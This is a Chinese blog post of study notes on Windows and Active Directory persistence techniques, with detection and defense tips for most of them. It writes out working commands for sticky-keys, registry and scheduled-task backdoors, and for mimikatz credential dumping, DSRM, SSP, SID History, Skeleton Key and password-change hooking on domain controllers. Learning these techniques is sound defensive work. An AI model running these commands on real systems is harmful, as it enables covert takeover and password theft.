目录

  • 前言
  • 一、操作系统后门
    • 1、粘滞键后门
    • 2、注册表注入后门
    • 3、计划任务后门
    • 4、meterpreter后门
    • 5、Cymothoa后门
    • 6、WMI后门
  • 二、WEB后门
    • 1、Nishang下的WebShell
    • 2、Weevely
    • 3、webacoo
    • 4、meterpreter
  • 三、域控制器权限持久化
    • 1、DSRM后门
      • (1)方法
      • (2)防范
    • 2、SSP维持域控权限
      • (1)方法一
      • (2)方法二
      • (3)防范
    • 3、SID History后门
      • (1)方法
      • (2)防范
    • 4、Golden Ticket & Silver Ticket
    • 5、Skeleton Key
    • 6、Hook PasswordChangeNotify
  • 结语

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章是权限维持分析及防御,分析了常见的针对操作系统后门、Web后门及域后门(白银票据、黄金票据等)的攻击手段,并给出了相应的检测和防范方法

攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使目标修复了漏洞,攻击者还是可以通过后门继续控制目标系统

相关知识之前也有过一些学习:

  • windows系统后渗透阶段权限维持方法小结
  • 内网渗透系列:权限维持方法小结

一、操作系统后门

操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法

1、粘滞键后门

粘滞键,5次shift,其实就是命令替换,解决无法同时按多个按键的问题,如将粘滞键设置为ctrl+p,因此可以调用cmd、执行后门程序、反弹脚本等

一个简单例子如下:

cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

防范:

  • 在远程登录服务器时连续按5次“shift”键,判断服务器是否被人侵
  • 拒绝使用sethc.exe或者在“控制面板”中关闭“启用粘滞键”选项

2、注册表注入后门

在普通用户权限下可以将后门程序或脚本路径填写到启动项注册表中,当系统管理员登录系统时触发后门

这个在ATT&CK中的Persistence一章中的Registry Run Keys / Startup Folder中有提到

命令如下:

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v RegRun /t REG_SZ /d "c:\windows\system32\calc.exe"

3、计划任务后门

计划任务在Windows7及之前使用at,在Windows8开始使用schtasks

计划任务后门分为管理员权限和普通用户权限两种

  • Metasploit:模块PowerShell Payload Web Delivery
  • PowerSploit:https://github.com/PowerShellMafia/PowerSploit中的Persistence.ps1脚本
  • Empire:usemodule persistence/elevated/schtasks

一个简单例子:

//每小时执行1次notepad
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1

4、meterpreter后门

meterpreter后门,metsvc(依靠服务)和persistence(依靠启动项)

可参考:Metasploit 「控制持久化」权限维持

5、Cymothoa后门

Cymothoa是一款可以将ShellCode注入现有内存(即插进程)的后门工具

下载地址:https://sourceforge.net/projects/cymothoa/

可参考:Cymothoa后门工具

./cymothoa -s 0 -p <process id> -y <port>

安装成功后使用nc等工具连接设置的端口即可

6、WMI后门

WMI后门需要管理员权限,特征是无文件和无进程,将代码加密存储于WMI中,达到所谓的无文件。当设定的条件被满足时,系统将自动启动Powershell进程去执行后门程序,执行后进程将会消失,达到所谓的“无进程”

Empire下有WMI相关的模块可以使用

usemodule powershell/persistence/elevated/wmi

可以在目标主机中使用命令查看存在的后门

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer

清理WMI后门的方法:

  • 删除自动运行列表中的恶意WMI条目
  • 使用Get-WMIObject命令删除与WMI持久化相关的组件

二、WEB后门

WEB后门俗称WebShell

1、Nishang下的WebShell

Nishang是针对PowerShell的渗透测试工具

  • 集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload
  • 存在ASPX的“大马”在\nishang\Antak-WebShell目录下

2、Weevely

Weevely主要功能如下:

  • 执行命令和测览远程文件
  • 检测常见的服务器配置问题
  • 创建TCPShell和ReverseShell
  • 扫描端口
  • 安装HTTP代理

下载地址:https://github.com/epinna/weevely3

3、webacoo

webacoo(Web Backdoor Cookie)是针对PHP平台的Web后门工具

4、meterpreter

meterpreter中有些payload,如:

  • shell_reverse_tcp
  • PHP meterpreter

三、域控制器权限持久化

1、DSRM后门

目录服务恢复模式(Directory Services Restore Mode,DSRM)是Windows域环境中DC的安全模式启动选项

  • 每个DC都有一个本地管理员账户(也就是DSRM账号)
  • DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常
  • 在域环境创建时,DSRM的密码需要在安装DC时设置,且很少会被重置

因此可以使用ntdsutil工具同步krbtgt的NTLM Hash(即修改密码),再利用注册表修改DSRM的登录方式,即可使用PTH来实现权限持久化

(1)方法

  • 使用mimikatz查看krbtgt账户密码hash值

     .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch /name:krbtgt" exit
    
  • 查看SAM文件中本地管理员的NTLM HASH值

    .\mimikatz.exe "token::elevate" "lsadump::sam" exit
    
  • 将DSRM hash和kebtgt的密码同步:

    ntdsutil
    set dsrm password
    SYNC FROM DOMAIN account krbtgt
    q
    
  • 再次查看会发现DSRM密码和krbtgt的密码相同,然后修改DSRM的登陆方式,这个注册表键值为2表示"在任何情况下都可以使用DSRM管理员账号登陆域控制器":

    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    
  • 使用mimikatz进行pth攻击:

    .\mimikatz.exe "privilege::Debug" "sekurlsa::pth /domain:DC /user:administrator /ntlm:XXXXXXXXXXX"
    

(2)防范

  • 检查hklm\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior注册表键值的值,确认值为1
  • 定期修改DSRM的账号
  • 经常检查ID为4794的日志

2、SSP维持域控权限

SSP(Security Support Provider)是Windows安全机制的提供者

  • 是一个DLL文件
  • 主要用来实现Windows的身份认证功能,如NTLM、Kerberos等
  • API接口是SSPI

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作:

  • LSA(Local Security Authority)用于身份验证
  • lsass.exe作为Windows的系统进程,用于本地安全和登陆策略
  • 在系统启动时,SSP将被加载到lsass.exe进程中
  • 假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码,这样即使用户更改的密码并重新登陆,依然可以获取

(1)方法一

是使用mimikatz将伪造的SSP注人内存,重启就丢失

//注销用户
.\mimikatz.exe "privilege::debug" "misc::memssp" exit
//注销之后执行命令查看明文密码
powershell.exe cat c:\windows\system32\mimilsa.log

(2)方法二

将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimilib.dll添加到注册表中,重启也能持久化

powershell.exe cp .\mimilib.dll C:\Windows\System32\
Set-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "Security Packages" -value "mimilib.dll"
//重启之后使用命令查看密码
powershell.exe cat c:\windows\system32\kiwissp.log

(3)防范

  • 查看hklm\system\currentcontrolset\control\lsa\Security Packages注册表项是否含有可疑的DLL文件
  • 检查C:\windows\system32\目录下是否存在可疑的文件
  • 第三方工具检查LSA中是否有可疑DLL

3、SID History后门

每个用户都有自己的SID

  • SID的作用主要是跟踪安全主体控制用户链接资源时的访问权限
  • SID History是在域迁移过程中的一个属性,如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源

如果获取了域管理员权限,可以将SID History作为实现持久化的方法

(1)方法

将Administrator的SID添加到恶意用户test的SID History属性中

打开—个具有域管理员权限的命令行窗口

//test用户的SID History属性
Import-module ActiveDirectory
Get-ADUser xiaom -Properties sidhistory
//将Administrator的SID添加到恶意用户test的SID History属性中
.\mimikatz.exe "privilege::Debug" "sid::patch" "sid::add /sam:test /new:administrator" exit

(2)防范

SID History域后门的特点:

  • 在控制域控制器后,可以通过注入SID History属性完成持久化任务
  • 拥有高权限SID的用户可以使用PowerShell远程导出域控制器的ntds.dll
  • 如果不再需要通过SID History属性实现持久化,可以在mimikatz中执行命令sid::clear /sam:usemame清除SID History属性

SID History域后门的防御措施如下:

  • 经常查看域用户中SID为500的用户
  • 完成域迁移工作后,对有相同SID History属性的用户进行检查
  • 定期检查ID为4765和4766的日志:4765为将SID History属性添加到用户的日志,4766为将SID History属性添加到用户失败的日志

4、Golden Ticket & Silver Ticket

可参见:一文了解黄金票据和白银票据

5、Skeleton Key

Skeleton Key(万能密码)

  • 在DC中得到域管理员权限(mimikatz首先使用privilege::debug提升权限到Debug权限,才能与lsass交互)
  • 使用mimikatz在lsass.exe进程注入Skeleton Key(misc::skeleton
  • 就可以以域内任意用户的身份,配合该key(默认密码mimikatz)进行域内身份授权验证

防范:

  • 2014年微软增加了LSA保护策略,防止lsass.exe进程被恶意注入
  • 强口令
  • 双因子认证,如智能卡认证
  • 应用启动白名单

6、Hook PasswordChangeNotify

Hook PasswordChangeNotify,当用户修改密码后在系统中进行同步,攻击者可以在此时抓取输入的明文密码

  • 在修改密码时,用户输入新密码后,LSA会调用PasswordFilter来检查该密码是否符合复杂性要求
  • 如果密码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码

这个方法要使用Invoke-ReflectivePEInjection.ps1,工具下载地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的powershell:

. .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

此时如果再修改用户密码则修改之后的密码会记录在C:\windows\Temp\password.txt文件中。

防范:

  • 需要对PowerShell进行严格的监视,并启用约束语言模式

结语

一些经典的权限维持方法

《内网安全攻防:渗透测试实战指南》读书笔记(八):权限维持分析及防御相关推荐

  1. Web安全攻防 渗透测试实战指南2

    1. 指纹识别 指纹由于其终身不变性.唯一性和方便性,几乎已成为生物特征识别的代名词.通常我们说的指纹就是人的手指末端正面皮肤上凹凸不平的纹线,纹线规律的排列形成不同的纹型.而本节所讲的指纹是指网站C ...

  2. 《Web安全攻防 渗透测试实战指南》学习笔记(2) - Sqlmap

    如有侵权,请联系删除 Linux下安装 sudo apt install sqlmap 基本使用 sqlmap -u "www.baidu.com" 注意给网址加上双引号(虽然只传 ...

  3. 内部视频放送 |《Python安全攻防:渗透测试实战指南》知识星球

    如果你立志成为一名合格的安全从业者,想突破"脚本小子"的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!<Python安全攻防:渗透测试实战指南>马上就要 ...

  4. 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集

    目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...

  5. 《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御

    目录 前言 一.系统内核溢出漏洞提权分析及防范 1.通过手动执行命令发现缺失补丁 (1)MS16-032(KB3139914) 2.利用MSF发现缺失补丁 3.Windows Exploit Sugg ...

  6. 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

    目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

  7. 《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御

    目录 前言 一.跨域攻击方法 二.利用域信任关系的跨域攻击 1.域信任简介 2.获取域信息 3.利用域信任秘钥(NTLM Hash)获取目标域的权限 4.利用krbtgt散列值获取目标域的权限 5.利 ...

  8. 《内网安全攻防:渗透测试实战指南》读书笔记(六):域控制器安全

    目录 前言 一.使用卷影拷贝服务提取ntds.dit 1.ntdsutil.exe 2.vssadmin 3.vssown.vbs 4.ntdsutil的IFM 5.diskshadow 6.防范 二 ...

  9. 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御

    目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...

最新文章

  1. [Leetcode] Simplify Path
  2. python numpy安装-Python--Numpy安装
  3. 使用mysqlbinlog恢复指定表
  4. 你知道你常用的dos和linux命令吗?
  5. 括号配对问题(C++栈)
  6. 阿里云ubuntu mysql_Ubuntu下安装MySQL(阿里云服务器)
  7. python画图代码-Python实战小程序利用matplotlib模块画图代码分享
  8. 7-10 数组循环左移 (20 分)
  9. cocos2d-x瓦片地图制作详解
  10. Rob Pike:走进Go语言
  11. Spring框架的本质:3了解一点儿JavaConfig
  12. VirtualBox 中的Centos如何安装VBoxGuestAdditions
  13. 论文翻译 | R-CNN论文:《Rich feature hierarchies for accurate object detection and semantic segmentation》
  14. UWP应用解除网络限制
  15. gitbub.com设置协作者提交代码步骤
  16. IT人物TOP100英雄人物榜
  17. 笔记本创建wifi热点
  18. 「计算机日常」笔吧测评室笔记本测评科普视频笔记
  19. Mac安装与使用MacTeX
  20. 软件工程辅助设计多周期处理器

热门文章

  1. java 刷题ide,力扣(LeetCode)刷题神器之Vs Code
  2. pdf压缩文件怎么压缩最小,pdf大小超过上传大小不能上传怎么压缩?
  3. python123m与n的数学运算_【Python数学面试题】面试问题:Python“… - 看准网
  4. 缺少包含@author的注释信息解决方法
  5. 支付宝app支付功能-服务端的实现-python3版
  6. rgb html转换,RGB与十六进制数值互转(html)
  7. 可穿戴产品中四大心率监测方法盘点
  8. 程序员常用刷题网站分享
  9. 从VHDL到UVM验证平台转变的优点评估
  10. Vue实现markdown编辑器